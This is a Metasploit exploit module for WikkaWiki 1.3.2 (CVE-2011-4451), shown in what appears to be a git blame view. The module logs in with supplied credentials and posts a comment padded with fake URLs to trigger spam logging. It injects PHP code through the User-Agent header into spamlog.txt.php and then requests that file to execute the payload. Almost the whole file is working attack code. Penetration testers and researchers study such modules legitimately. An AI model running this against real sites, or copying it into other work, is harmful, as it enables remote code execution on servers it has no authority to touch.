2012-05-10 16:57:40 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability found in WikkaWiki. When the spam logging
|
|
|
|
feature is enabled, it is possible to inject PHP code into the spam log file via the
|
|
|
|
UserAgent header , and then request it to execute our payload. There are at least
|
|
|
|
three different ways to trigger spam protection, this module does so by generating
|
|
|
|
10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).
|
|
|
|
|
|
|
|
Please note that in order to use the injection, you must manually pick a page
|
|
|
|
first that allows you to add a comment, and then set it as 'PAGE'.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'EgiX', #Initial discovery, PoC
|
|
|
|
'sinn3r' #Metasploit
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2011-4451'],
|
|
|
|
['OSVDB', '77393'],
|
|
|
|
['EDB', '18177'],
|
|
|
|
['URL', 'http://wush.net/trac/wikka/ticket/1098']
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'BadChars' => "\x00"
|
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'ExitFunction' => "none"
|
|
|
|
},
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Platform' => ['php'],
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['WikkaWiki 1.3.2 r1814', {}]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "Nov 30 2011",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('USERNAME', [true, 'WikkaWiki username']),
|
|
|
|
OptString.new('PASSWORD', [true, 'WikkaWiki password']),
|
|
|
|
OptString.new('PAGE', [true, 'Page to inject']),
|
|
|
|
OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def check
|
|
|
|
uri = normalize_uri(target_uri.path)
|
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "#{uri}/wikka.php?wakka=HomePage"
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.body =~ /Powered by WikkaWiki/
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Get the cookie before we do any of that login/exploity stuff
|
|
|
|
#
|
|
|
|
def get_cookie
|
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(@base, "wikka.php")
|
|
|
|
})
|
|
|
|
|
|
|
|
# Get the cookie in this format:
|
|
|
|
# 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
|
|
|
|
if res and res.headers['Set-Cookie']
|
|
|
|
cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{@peer} - No cookie found, will not continue")
|
|
|
|
end
|
|
|
|
|
|
|
|
cookie
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Do login, and then return the cookie that contains our credential
|
|
|
|
#
|
|
|
|
def login(cookie)
|
|
|
|
# Send a request to the login page so we can obtain some hidden values needed for login
|
|
|
|
uri = normalize_uri(@base, "wikka.php") + "?wakka=UserSettings"
|
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => uri,
|
|
|
|
'cookie' => cookie
|
|
|
|
})
|
|
|
|
|
|
|
|
# Extract the hidden fields
|
|
|
|
login = {}
|
|
|
|
if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m
|
|
|
|
fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)
|
|
|
|
fields.each do |name, value|
|
|
|
|
login[name] = value
|
|
|
|
end
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{@peer} - Unable to find the hidden fieldset required for login")
|
|
|
|
end
|
|
|
|
|
|
|
|
# Add the rest of fields required for login
|
|
|
|
login['action'] = 'login'
|
|
|
|
login['name'] = datastore['USERNAME']
|
|
|
|
login['password'] = datastore['PASSWORD']
|
|
|
|
login['do_redirect'] = 'on'
|
|
|
|
login['submit'] = "Login"
|
|
|
|
login['confpassword'] = ''
|
|
|
|
login['email'] = ''
|
|
|
|
|
|
|
|
port = (rport.to_i == 80) ? "" : ":#{rport}"
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => uri,
|
|
|
|
'cookie' => cookie,
|
|
|
|
'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" },
|
|
|
|
'vars_post' => login
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.headers['Set-Cookie'] =~ /user_name/
|
|
|
|
user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""
|
|
|
|
pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""
|
|
|
|
cookie_cred = "#{cookie}; #{user}; #{pass}"
|
|
|
|
else
|
|
|
|
cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
|
|
|
|
fail_with(Failure::Unknown, "#{@peer} - Unable to login with \"#{cred}\"")
|
|
|
|
end
|
|
|
|
|
|
|
|
return cookie_cred
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# After login, we inject the PHP payload
|
|
|
|
#
|
|
|
|
def inject_exec(cookie)
|
|
|
|
# Get the necessary fields in order to post a comment
|
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(@base, "wikka.php") + "?wakka=#{datastore['PAGE']}&show_comments=1",
|
|
|
|
'cookie' => cookie
|
|
|
|
})
|
|
|
|
|
|
|
|
fields = {}
|
|
|
|
if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m
|
|
|
|
$1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|
|
|
|
|
fields[n] = v
|
|
|
|
end
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{@peer} - Cannot get necessary fields before posting a comment")
|
|
|
|
end
|
|
|
|
|
|
|
|
# Generate enough URLs to trigger spam logging
|
|
|
|
urls = ''
|
|
|
|
10.times do |i|
|
|
|
|
urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"
|
|
|
|
end
|
|
|
|
|
|
|
|
# Add more fields
|
|
|
|
fields['body'] = urls
|
|
|
|
fields['submit'] = 'Add'
|
|
|
|
|
|
|
|
# Inject payload
|
|
|
|
b64_payload = Rex::Text.encode_base64(payload.encoded)
|
|
|
|
port = (rport.to_i == 80) ? "" : ":#{rport}"
|
|
|
|
uri = normalize_uri("#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment")
|
|
|
|
post_data = ""
|
|
|
|
send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => uri,
|
|
|
|
'cookie' => cookie,
|
|
|
|
'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },
|
|
|
|
'vars_post' => fields,
|
|
|
|
'agent' => "<?php #{payload.encoded} ?>"
|
|
|
|
})
|
|
|
|
|
|
|
|
send_request_raw({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(@base, "spamlog.txt.php")
|
|
|
|
})
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
@peer = "#{rhost}:#{rport}"
|
|
|
|
|
|
|
|
@base = normalize_uri(target_uri.path)
|
|
|
|
@base << '/' if @base[-1, 1] != '/'
|
|
|
|
|
|
|
|
print_status("#{@peer} - Getting cookie")
|
|
|
|
cookie = get_cookie
|
|
|
|
|
|
|
|
print_status("#{@peer} - Logging in")
|
|
|
|
cred = login(cookie)
|
|
|
|
|
|
|
|
print_status("#{@peer} - Triggering spam logging")
|
|
|
|
inject_exec(cred)
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
2012-05-10 16:57:40 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
=begin
|
|
|
|
For testing:
|
|
|
|
svn -r 1814 co https://wush.net/svn/wikka/trunk wikka
|
|
|
|
|
|
|
|
Open wikka.config.php, do:
|
|
|
|
'spam_logging' => '1'
|
2012-12-19 21:42:47 +00:00
|
|
|
=end
|